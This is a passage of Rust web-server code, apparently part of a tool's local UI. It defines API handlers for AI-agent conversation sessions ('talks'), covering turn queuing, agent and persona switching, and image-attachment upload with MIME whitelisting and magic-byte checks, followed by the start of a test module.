5862
5863#[derive(Debug, Serialize)]
5869struct TalkView {
5870 #[serde(flatten)]
5871 talk: Talk,
5872 turn_bodies_md: Vec<Vec<md::Node>>,
5873 thinking: bool,
5881 context: talk::ContextUsage,
5885 operator_name: Option<String>,
5888 persona_name: Option<String>,
5890}
5891
5892impl TalkView {
5893 fn new(talk: Talk, thinking: bool) -> Self {
5896 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5897 Self::with_config(talk, thinking, cfg.as_ref())
5898 }
5899
5900 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5903 let context = talk::context_usage(&talk, cfg);
5904 let turn_bodies_md = talk
5905 .turns
5906 .iter()
5907 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5908 .collect();
5909 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
5910 let persona_name = persona::find(specs, &talk.persona)
5911 .filter(|p| !p.is_default())
5912 .map(|p| p.name);
5913 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
5914 Self {
5915 turn_bodies_md,
5916 thinking,
5917 context,
5918 operator_name,
5919 persona_name,
5920 talk,
5921 }
5922 }
5923}
5924
5925#[derive(Debug, Serialize)]
5930struct TalkDetailView {
5931 #[serde(flatten)]
5932 view: TalkView,
5933 tasks: Vec<TaskView>,
5934 roster: Vec<RosterEntry>,
5937 personas: Vec<PersonaEntry>,
5940}
5941
5942#[derive(Debug, Serialize)]
5944struct PersonaEntry {
5945 id: String,
5946 name: String,
5947}
5948
5949#[derive(Debug, Serialize)]
5951struct RosterEntry {
5952 id: String,
5953 kind: AgentKind,
5954 runnable: bool,
5956}
5957
5958async fn talks_list(
5963 State(ui): State<Arc<Ui>>,
5964 Query(q): Query<ListQuery>,
5965) -> ApiResult<Json<Vec<TalkView>>> {
5966 blocking(move || {
5967 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5968 Ok(Json(
5969 ui.talks
5970 .list()
5971 .into_iter()
5972 .filter(|talk| q.contains(&talk.id))
5973 .map(|talk| {
5974 let thinking = ui.is_thinking(&talk.id);
5975 let cfg = configs
5976 .entry(talk.repo.clone())
5977 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5978 TalkView::with_config(talk, thinking, cfg.as_ref())
5979 })
5980 .collect(),
5981 ))
5982 })
5983 .await
5984}
5985
5986#[derive(Debug, Default, Deserialize)]
5991#[serde(default)]
5992struct NewTalk {
5993 agent: Option<String>,
5994 repo: Option<PathBuf>,
5995}
5996
5997async fn talk_post(
6000 State(ui): State<Arc<Ui>>,
6001 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6002) -> ApiResult<impl IntoResponse> {
6003 let body = match body {
6007 Ok(Json(body)) => body,
6008 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6009 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6010 };
6011 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6012 let cfg = config_for(&repo).await?;
6013 let view = blocking(move || {
6014 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6015 let thinking = ui.is_thinking(&talk.id);
6016 Ok(TalkView::new(talk, thinking))
6017 })
6018 .await?;
6019 Ok((StatusCode::CREATED, Json(view)))
6020}
6021
6022async fn talk_detail(
6024 State(ui): State<Arc<Ui>>,
6025 Path(id): Path<String>,
6026) -> ApiResult<Json<TalkDetailView>> {
6027 blocking(move || {
6028 let id = resolve_talk(&ui.talks, &id)?;
6029 let talk = ui.talks.get(&id)?;
6030 let thinking = ui.is_thinking(&talk.id);
6031 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6032 .into_iter()
6033 .map(TaskView::from)
6034 .collect();
6035 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6036 let roster = cfg
6037 .as_ref()
6038 .map(|cfg| {
6039 cfg.agents
6040 .iter()
6041 .map(|a| RosterEntry {
6042 id: a.id.clone(),
6043 kind: a.kind,
6044 runnable: agent::installed(a),
6045 })
6046 .collect()
6047 })
6048 .unwrap_or_default();
6049 let specs = cfg
6050 .as_ref()
6051 .map(|cfg| cfg.talk.personas.clone())
6052 .unwrap_or_default();
6053 let personas = persona::catalog(&specs)
6054 .into_iter()
6055 .map(|p| PersonaEntry {
6056 id: p.id,
6057 name: p.name,
6058 })
6059 .collect();
6060 Ok(Json(TalkDetailView {
6061 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6062 tasks,
6063 roster,
6064 personas,
6065 }))
6066 })
6067 .await
6068}
6069
6070#[derive(Debug, Default, Deserialize)]
6076#[serde(default, deny_unknown_fields)]
6077struct NewTalkTurn {
6078 text: String,
6079 attachments: Vec<String>,
6080}
6081
6082#[derive(Debug, Deserialize)]
6083#[serde(deny_unknown_fields)]
6084struct EditTalkPending {
6085 text: String,
6086 expected_text: String,
6087 expected_attachments: Vec<String>,
6088}
6089
6090#[derive(Debug, Deserialize)]
6091#[serde(deny_unknown_fields)]
6092struct ClearTalkPending {
6093 expected_text: String,
6094 expected_attachments: Vec<String>,
6095}
6096
6097async fn talk_say(
6109 State(ui): State<Arc<Ui>>,
6110 Path(id): Path<String>,
6111 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6112) -> ApiResult<(StatusCode, Json<TalkView>)> {
6113 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6114 if body.text.trim().is_empty() && body.attachments.is_empty() {
6115 return Err(ApiError::bad_request("say something"));
6116 }
6117
6118 let id = {
6119 let ui = Arc::clone(&ui);
6120 let asked = id.clone();
6121 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6122 };
6123 {
6127 let ui = Arc::clone(&ui);
6128 let id = id.clone();
6129 blocking(move || {
6130 let talk = ui.talks.get(&id)?;
6131 if !talk.status.open() {
6132 return Err(ApiError::conflict(format!(
6133 "talk {} is {} and takes no more turns",
6134 talk.short(),
6135 talk.status.as_str()
6136 )));
6137 }
6138 Ok(())
6139 })
6140 .await?;
6141 }
6142
6143 let attachments = {
6148 let ui = Arc::clone(&ui);
6149 let id = id.clone();
6150 let ids = body.attachments.clone();
6151 blocking(move || {
6152 ids.into_iter()
6153 .map(|att_id| {
6154 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6155 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6156 })
6157 })
6158 .collect::<ApiResult<Vec<talk::Attachment>>>()
6159 })
6160 .await?
6161 };
6162
6163 let start = {
6168 let ui = Arc::clone(&ui);
6169 let id = id.clone();
6170 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6171 };
6172 let turn_guard = match start {
6173 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6174 TalkTurnStart::Pending => {
6175 return Err(ApiError::conflict(
6176 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6177 ));
6178 }
6179 TalkTurnStart::Foreign => {
6180 return Err(ApiError::conflict(
6181 "a turn is already running in another process; try again when it has finished",
6182 ));
6183 }
6184 TalkTurnStart::Busy => {
6185 let (tx, rx) = tokio::sync::oneshot::channel();
6201 tokio::spawn({
6202 let ui = Arc::clone(&ui);
6203 let id = id.clone();
6204 let said = body.text.clone();
6205 async move {
6206 let written = blocking({
6207 let ui = Arc::clone(&ui);
6208 let id = id.clone();
6209 move || {
6210 let mut talk = ui.talks.get(&id)?;
6211 #[cfg(test)]
6216 if let Some(gate) = ui
6217 .busy_queue_gate
6218 .lock()
6219 .unwrap_or_else(PoisonError::into_inner)
6220 .take()
6221 {
6222 let _ = gate.reached.send(());
6223 let _ = gate.release.recv();
6224 }
6225 if let Err(error) =
6226 talk::queue(&mut talk, &ui.talks, &said, attachments)
6227 {
6228 if let Ok(fresh) = ui.talks.get(&id) {
6229 if !fresh.status.open() {
6230 return Err(ApiError::conflict(format!(
6231 "talk {} is {} and takes no more turns",
6232 fresh.short(),
6233 fresh.status.as_str()
6234 )));
6235 }
6236 }
6237 return Err(ApiError::from(error));
6238 }
6239 let claim = match ui.begin_queued_talk_turn(&id)? {
6250 Some(turn_guard) => {
6251 let (cfg, _) = Config::discover(&talk.repo, None)?;
6252 Some((talk.clone(), cfg, turn_guard))
6253 }
6254 None => None,
6255 };
6256 let thinking = ui.is_thinking(&id);
6257 Ok((TalkView::new(talk, thinking), claim))
6258 }
6259 })
6260 .await;
6261 let (view, reclaimed) = match written {
6262 Ok(pair) => pair,
6263 Err(e) => {
6264 let _ = tx.send(Err(e));
6269 return;
6270 }
6271 };
6272 let _ = tx.send(Ok(view));
6275 if let Some((talk, cfg, turn_guard)) = reclaimed {
6276 let talks = ui.talks.clone();
6277 drain_loop(talk, talks, cfg, id, turn_guard).await;
6278 }
6279 }
6280 });
6281 let view = rx
6282 .await
6283 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6284 return Ok((StatusCode::ACCEPTED, Json(view)));
6285 }
6286 };
6287
6288 let (talk, cfg) = {
6289 let ui = Arc::clone(&ui);
6290 let id = id.clone();
6291 blocking(move || {
6292 let talk = ui.talks.get(&id)?;
6293 let (cfg, _) = Config::discover(&talk.repo, None)?;
6294 Ok((talk, cfg))
6295 })
6296 .await?
6297 };
6298
6299 let talks = ui.talks.clone();
6300 let (tx, rx) = tokio::sync::oneshot::channel();
6315 tokio::spawn({
6316 let ui = Arc::clone(&ui);
6317 let talks = talks.clone();
6318 let id = id.clone();
6319 let said = body.text.clone();
6320 let mut talk = talk.clone();
6321 async move {
6322 let recorded = blocking({
6323 let talks = talks.clone();
6324 move || {
6325 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6326 if let Ok(fresh) = talks.get(&talk.id) {
6327 if !fresh.status.open() {
6328 return Err(ApiError::conflict(format!(
6329 "talk {} is {} and takes no more turns",
6330 fresh.short(),
6331 fresh.status.as_str()
6332 )));
6333 }
6334 }
6335 return Err(ApiError::from(error));
6336 }
6337 Ok((said.trim().to_owned(), talk))
6343 }
6344 })
6345 .await;
6346 let (text, mut talk) = match recorded {
6347 Ok(pair) => pair,
6348 Err(e) => {
6349 let _ = tx.send(Err(e));
6353 return;
6354 }
6355 };
6356 let queued = talk.clone();
6357 let thinking = ui.is_thinking(&id);
6358 let _ = tx.send(Ok((queued, thinking)));
6361
6362 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6363 tracing::warn!("talk {id} turn failed: {e:#}");
6367 }
6368 drain_loop(talk, talks, cfg, id, turn_guard).await;
6371 }
6372 });
6373
6374 let (queued, thinking) = rx
6375 .await
6376 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6377
6378 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6380}
6381
6382async fn talk_pending_resume(
6386 State(ui): State<Arc<Ui>>,
6387 Path(id): Path<String>,
6388) -> ApiResult<(StatusCode, Json<TalkView>)> {
6389 let id = {
6390 let ui = Arc::clone(&ui);
6391 let asked = id.clone();
6392 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6393 };
6394 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6395 return Err(ApiError::conflict(
6396 "a talk turn is already running; the queued draft will be handled by it",
6397 ));
6398 };
6399 let (talk, cfg) = {
6400 let ui = Arc::clone(&ui);
6401 let id = id.clone();
6402 blocking(move || {
6403 let talk = ui.talks.get(&id)?;
6404 if !talk.status.open() {
6405 return Err(ApiError::conflict(format!(
6406 "talk {} is {} and takes no more turns",
6407 talk.short(),
6408 talk.status.as_str()
6409 )));
6410 }
6411 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6412 return Err(ApiError::conflict("there is no queued draft to resume"));
6413 }
6414 let (cfg, _) = Config::discover(&talk.repo, None)?;
6415 Ok((talk, cfg))
6416 })
6417 .await?
6418 };
6419 let view = TalkView::new(talk.clone(), true);
6420 let talks = ui.talks.clone();
6421 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6422 Ok((StatusCode::ACCEPTED, Json(view)))
6423}
6424
6425async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6441 let live_set = Arc::clone(&turn.turns);
6442 let mut turn = Some(turn);
6450 loop {
6451 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6452 tracing::warn!("talk {id} lost its turn lease; not draining further");
6455 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6456 if let Some(turn) = turn.take() {
6457 turn.release(&mut live);
6458 }
6459 break;
6460 }
6461 let observed = live_set
6465 .lock()
6466 .unwrap_or_else(PoisonError::into_inner)
6467 .queued
6468 .get(&id)
6469 .copied()
6470 .unwrap_or(0);
6471 let drained = blocking({
6472 let talks = talks.clone();
6473 move || {
6474 let result = talk::drain(&mut talk, &talks);
6475 Ok((talk, result))
6476 }
6477 })
6478 .await;
6479 let (next_talk, result) = match drained {
6480 Ok(drained) => drained,
6481 Err(e) => {
6482 tracing::warn!(
6483 status = %e.status,
6484 message = %e.message,
6485 "talk {id} could not start queued-text drain"
6486 );
6487 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6488 turn.take()
6489 .expect("held for the whole loop until released here")
6490 .release(&mut live);
6491 break;
6492 }
6493 };
6494 talk = next_talk;
6495 let drained = match result {
6496 Ok(Some(drained)) => drained,
6497 Ok(None) => {
6498 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6499 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6500 continue;
6501 }
6502 turn.take()
6503 .expect("held for the whole loop until released here")
6504 .release(&mut live);
6505 break;
6506 }
6507 Err(e) => {
6508 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6509 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6510 turn.take()
6511 .expect("held for the whole loop until released here")
6512 .release(&mut live);
6513 break;
6514 }
6515 };
6516 let responded = match turn.as_ref() {
6517 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6518 None => talk::respond(&mut talk, &talks, &cfg, &drained).await,
6519 };
6520 if let Err(e) = responded {
6521 tracing::warn!("talk {id} turn failed: {e:#}");
6522 }
6523 }
6524}
6525
6526async fn talk_pending_clear(
6528 State(ui): State<Arc<Ui>>,
6529 Path(id): Path<String>,
6530 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6531) -> ApiResult<Json<TalkView>> {
6532 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6533 blocking(move || {
6534 let id = resolve_talk(&ui.talks, &id)?;
6535 let mut talk = ui.talks.get(&id)?;
6536 if !talk.status.open() {
6537 return Err(ApiError::conflict(format!(
6538 "talk {} is {} and takes no more turns",
6539 talk.short(),
6540 talk.status.as_str()
6541 )));
6542 }
6543 if !talk::clear_pending_if_matches(
6544 &mut talk,
6545 &ui.talks,
6546 &body.expected_text,
6547 &body.expected_attachments,
6548 )? {
6549 return Err(ApiError::conflict(
6550 "queued message changed; reload it before clearing",
6551 ));
6552 }
6553 let thinking = ui.is_thinking(&talk.id);
6554 Ok(Json(TalkView::new(talk, thinking)))
6555 })
6556 .await
6557}
6558
6559async fn talk_pending_edit(
6563 State(ui): State<Arc<Ui>>,
6564 Path(id): Path<String>,
6565 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6566) -> ApiResult<Json<TalkView>> {
6567 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6568 let (view, reclaimed) = blocking({
6569 let ui = Arc::clone(&ui);
6570 move || {
6571 let id = resolve_talk(&ui.talks, &id)?;
6572 let mut talk = ui.talks.get(&id)?;
6573 if !talk.status.open() {
6574 return Err(ApiError::conflict(format!(
6575 "talk {} is {} and takes no more turns",
6576 talk.short(),
6577 talk.status.as_str()
6578 )));
6579 }
6580 if !talk::edit_pending_text(
6581 &mut talk,
6582 &ui.talks,
6583 &body.text,
6584 &body.expected_text,
6585 &body.expected_attachments,
6586 )? {
6587 return Err(ApiError::conflict(
6588 "queued message changed; reload it before editing",
6589 ));
6590 }
6591 let claim = match ui.begin_queued_talk_turn(&id)? {
6592 Some(turn_guard) => {
6593 let (cfg, _) = Config::discover(&talk.repo, None)?;
6594 Some((talk.clone(), cfg, id.clone(), turn_guard))
6595 }
6596 None => None,
6597 };
6598 let thinking = ui.is_thinking(&id);
6599 Ok((TalkView::new(talk, thinking), claim))
6600 }
6601 })
6602 .await?;
6603 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6604 let talks = ui.talks.clone();
6605 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6606 }
6607 Ok(Json(view))
6608}
6609
6610#[derive(Debug, Deserialize)]
6612struct TalkAgent {
6613 agent: String,
6614}
6615
6616async fn talk_agent(
6621 State(ui): State<Arc<Ui>>,
6622 Path(id): Path<String>,
6623 Json(body): Json<TalkAgent>,
6624) -> ApiResult<Json<TalkView>> {
6625 let id = {
6626 let ui = Arc::clone(&ui);
6627 blocking(move || resolve_talk(&ui.talks, &id)).await?
6628 };
6629 let repo = {
6630 let ui = Arc::clone(&ui);
6631 let id = id.clone();
6632 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6633 };
6634 let cfg = config_for(&repo).await?;
6635 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6636 return Err(ApiError::conflict(
6637 "a talk turn is running; change the agent once it has answered",
6638 ));
6639 };
6640 let switched = {
6641 let ui = Arc::clone(&ui);
6642 let id = id.clone();
6643 let cfg = cfg.clone();
6644 blocking(move || {
6645 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6646 .map_err(ApiError::bad_request_from)?;
6647 let mut talk = ui.talks.get(&id)?;
6648 if !talk.status.open() {
6649 return Err(ApiError::conflict(format!(
6650 "talk {} is {} and takes no more turns",
6651 talk.short(),
6652 talk.status.as_str()
6653 )));
6654 }
6655 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6656 Ok(talk)
6657 })
6658 .await
6659 };
6660 let fresh = {
6665 let ui = Arc::clone(&ui);
6666 let id = id.clone();
6667 blocking(move || Ok(ui.talks.get(&id)?)).await
6668 };
6669 let draining = match fresh {
6670 Ok(talk) => {
6671 let draining = talk.status.open()
6672 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6673 let talks = ui.talks.clone();
6674 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6675 draining
6676 }
6677 Err(_) => false,
6678 };
6679 let talk = switched?;
6680 Ok(Json(TalkView::new(talk, draining)))
6681}
6682
6683#[derive(Debug, Deserialize)]
6685struct TalkPersona {
6686 persona: String,
6687}
6688
6689async fn talk_persona(
6693 State(ui): State<Arc<Ui>>,
6694 Path(id): Path<String>,
6695 Json(body): Json<TalkPersona>,
6696) -> ApiResult<Json<TalkView>> {
6697 let id = {
6698 let ui = Arc::clone(&ui);
6699 blocking(move || resolve_talk(&ui.talks, &id)).await?
6700 };
6701 let repo = {
6702 let ui = Arc::clone(&ui);
6703 let id = id.clone();
6704 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6705 };
6706 let cfg = config_for(&repo).await?;
6707 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6708 return Err(ApiError::conflict(
6709 "a talk turn is running; change the persona once it has answered",
6710 ));
6711 };
6712 let switched = {
6713 let ui = Arc::clone(&ui);
6714 let id = id.clone();
6715 let cfg = cfg.clone();
6716 blocking(move || {
6717 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6718 return Err(ApiError::bad_request(format!(
6719 "unknown persona `{}`",
6720 body.persona
6721 )));
6722 };
6723 let mut talk = ui.talks.get(&id)?;
6724 if !talk.status.open() {
6725 return Err(ApiError::conflict(format!(
6726 "talk {} is {} and takes no more turns",
6727 talk.short(),
6728 talk.status.as_str()
6729 )));
6730 }
6731 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6732 Ok(talk)
6733 })
6734 .await
6735 };
6736 let fresh = {
6738 let ui = Arc::clone(&ui);
6739 let id = id.clone();
6740 blocking(move || Ok(ui.talks.get(&id)?)).await
6741 };
6742 let draining = match fresh {
6743 Ok(talk) => {
6744 let draining = talk.status.open()
6745 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6746 let talks = ui.talks.clone();
6747 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6748 draining
6749 }
6750 Err(_) => false,
6751 };
6752 let talk = switched?;
6753 Ok(Json(TalkView::new(talk, draining)))
6754}
6755
6756async fn talk_close(
6758 State(ui): State<Arc<Ui>>,
6759 Path(id): Path<String>,
6760) -> ApiResult<Json<TalkView>> {
6761 blocking(move || {
6762 let id = resolve_talk(&ui.talks, &id)?;
6763 let mut talk = ui.talks.get(&id)?;
6764 talk::close(&mut talk, &ui.talks)?;
6765 let thinking = ui.is_thinking(&talk.id);
6766 Ok(Json(TalkView::new(talk, thinking)))
6767 })
6768 .await
6769}
6770
6771async fn talk_reopen(
6773 State(ui): State<Arc<Ui>>,
6774 Path(id): Path<String>,
6775) -> ApiResult<Json<TalkView>> {
6776 blocking(move || {
6777 let id = resolve_talk(&ui.talks, &id)?;
6778 let mut talk = ui.talks.get(&id)?;
6779 talk::reopen(&mut talk, &ui.talks)?;
6780 let thinking = ui.is_thinking(&talk.id);
6781 Ok(Json(TalkView::new(talk, thinking)))
6782 })
6783 .await
6784}
6785
6786async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6796 blocking(move || {
6797 let id = resolve_talk(&ui.talks, &id)?;
6798 ui.talks.remove(&id)?;
6799 Ok(StatusCode::NO_CONTENT)
6800 })
6801 .await
6802}
6803
6804fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6806 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6807}
6808
6809async fn talk_attachment_post(
6812 State(ui): State<Arc<Ui>>,
6813 Path(id): Path<String>,
6814 headers: HeaderMap,
6815 body: Bytes,
6816) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6817 let mime = validate_attachment(&headers, &body)?;
6818 let name = filename_header(&headers);
6819 let data = body.to_vec();
6820 blocking(move || {
6821 let id = resolve_talk(&ui.talks, &id)?;
6822 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6823 Ok((StatusCode::CREATED, Json(att)))
6824 })
6825 .await
6826}
6827
6828async fn talk_attachment_get(
6831 State(ui): State<Arc<Ui>>,
6832 Path((id, att)): Path<(String, String)>,
6833) -> ApiResult<Response> {
6834 blocking(move || {
6835 let id = resolve_talk(&ui.talks, &id)?;
6836 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6837 return Err(ApiError::not_found(format!(
6838 "talk {id} has no attachment `{att}`"
6839 )));
6840 };
6841 Ok(attachment_response(&meta.mime, data))
6842 })
6843 .await
6844}
6845
6846fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6857 if data.len() > ATTACHMENT_MAX_BYTES {
6858 return Err(ApiError::bad_request(format!(
6859 "attachment is {} bytes, over the {} MiB limit",
6860 data.len(),
6861 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6862 ))
6863 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6864 }
6865 if data.is_empty() {
6866 return Err(ApiError::bad_request("attachment is empty"));
6867 }
6868 let declared = declared_mime(headers)?;
6869 match sniffed_mime(data) {
6870 Some(sniffed) if sniffed == declared => Ok(declared),
6871 Some(sniffed) => Err(ApiError::bad_request(format!(
6872 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6873 ))),
6874 None => Err(ApiError::bad_request(
6875 "the file's bytes do not match any accepted image format",
6876 )),
6877 }
6878}
6879
6880fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6884 let raw = headers
6885 .get(header::CONTENT_TYPE)
6886 .and_then(|v| v.to_str().ok())
6887 .unwrap_or("")
6888 .split(';')
6889 .next()
6890 .unwrap_or("")
6891 .trim()
6892 .to_ascii_lowercase();
6893 ATTACHMENT_MIME_WHITELIST
6894 .iter()
6895 .find(|&&m| m == raw)
6896 .copied()
6897 .ok_or_else(|| {
6898 if raw == "image/svg+xml" {
6899 ApiError::bad_request(
6900 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6901 not just a picture",
6902 )
6903 } else if raw.is_empty() {
6904 ApiError::bad_request("Content-Type is required for an attachment upload")
6905 } else {
6906 ApiError::bad_request(format!(
6907 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6908 image/gif or image/webp"
6909 ))
6910 }
6911 })
6912}
6913
6914fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6917 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6918 Some("image/png")
6919 } else if data.starts_with(b"\xff\xd8\xff") {
6920 Some("image/jpeg")
6921 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6922 Some("image/gif")
6923 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6924 Some("image/webp")
6925 } else {
6926 None
6927 }
6928}
6929
6930fn filename_header(headers: &HeaderMap) -> String {
6936 headers
6937 .get(FILENAME_HEADER)
6938 .and_then(|v| v.to_str().ok())
6939 .map(str::trim)
6940 .filter(|s| !s.is_empty())
6941 .unwrap_or("attachment")
6942 .to_owned()
6943}
6944
6945fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6952 let content_type = ATTACHMENT_MIME_WHITELIST
6953 .iter()
6954 .find(|&&m| m == mime)
6955 .copied()
6956 .unwrap_or("application/octet-stream");
6957 (
6958 [
6959 (header::CONTENT_TYPE, content_type),
6960 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6961 ],
6962 body,
6963 )
6964 .into_response()
6965}
6966
6967async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6975 let repo = repo.to_path_buf();
6976 blocking(move || {
6977 let (cfg, _) = Config::discover(&repo, None)?;
6978 Ok(cfg)
6979 })
6980 .await
6981}
6982
6983fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6989 let mut hits = ids
6990 .into_iter()
6991 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6992 match (hits.next(), hits.next()) {
6993 (Some(one), None) => Ok(one),
6994 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6995 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6996 "`{prefix}` matches more than one {what}, including {a} and {b}"
6997 ))),
6998 }
6999}
7000
7001#[cfg(test)]
7002mod tests {
7003
7004 #[test]
7005 fn holder_reads_the_lease_not_the_record() {
7006 let mut q = Question::new(
7007 "run".to_owned(),
7008 "implement".to_owned(),
7009 "impl-A".to_owned(),
7010 "which?".to_owned(),
7011 String::new(),
7012 Vec::new(),
7013 );
7014 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7015 q.cwd = Some("/tmp".to_owned());
7016 assert_eq!(holder_of(&q, None), Some("nobody"));
7017 let beat = |kind, ago: i64| ask::Lease {
7018 kind,
7019 pid: 1,
7020 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7021 .unwrap(),
7022 };
7023 let fresh = beat(ask::WaiterKind::Asker, 1);
7024 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7025 let daemon = beat(ask::WaiterKind::Daemon, 1);
7026 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7027 let stale = beat(ask::WaiterKind::Asker, 3600);
7028 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7029
7030 let mut c = Question::new(
7033 "task".to_owned(),
7034 crate::conduct::NODE.to_owned(),
7035 "conduct".to_owned(),
7036 "which?".to_owned(),
7037 String::new(),
7038 Vec::new(),
7039 );
7040 assert_eq!(holder_of(&c, None), Some("nobody"));
7041 c.cwd = Some("/tmp".to_owned());
7042 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7043 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7044 let deputy = beat(ask::WaiterKind::Deputy, 1);
7045 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7046 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7047
7048 let mut r = Question::new(
7050 String::new(),
7051 crate::bump::NOTICE_NODE.to_owned(),
7052 "release-watch".to_owned(),
7053 "stuck?".to_owned(),
7054 String::new(),
7055 vec!["hold".to_owned()],
7056 );
7057 assert_eq!(holder_of(&r, None), Some("nobody"));
7058 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7059 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7060 r.deputy = None;
7062 r.seat = "bump".to_owned();
7063 assert_eq!(holder_of(&r, None), None);
7064
7065 let mut m = Question::new(
7068 "run".to_owned(),
7069 crate::land::APPROVAL_NODE.to_owned(),
7070 "land".to_owned(),
7071 "merge?".to_owned(),
7072 String::new(),
7073 Vec::new(),
7074 );
7075 assert_eq!(holder_of(&m, None), Some("nobody"));
7076 assert_eq!(
7077 holder_of(&m, Some(&fresh)),
7078 Some("nobody"),
7079 "a lease with no deputy is not a listener"
7080 );
7081 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7082 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7083 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7084 assert_eq!(holder_of(&m, None), Some("nobody"));
7085 }
7086
7087 fn stub_config() -> Config {
7088 Config {
7091 agents: vec![crate::config::AgentSpec {
7092 id: "stub".to_owned(),
7093 kind: AgentKind::Command,
7094 model: None,
7095 command: vec!["true".to_owned()],
7096 extra_args: Vec::new(),
7097 env: Default::default(),
7098 prompt_delivery: None,
7099 }],
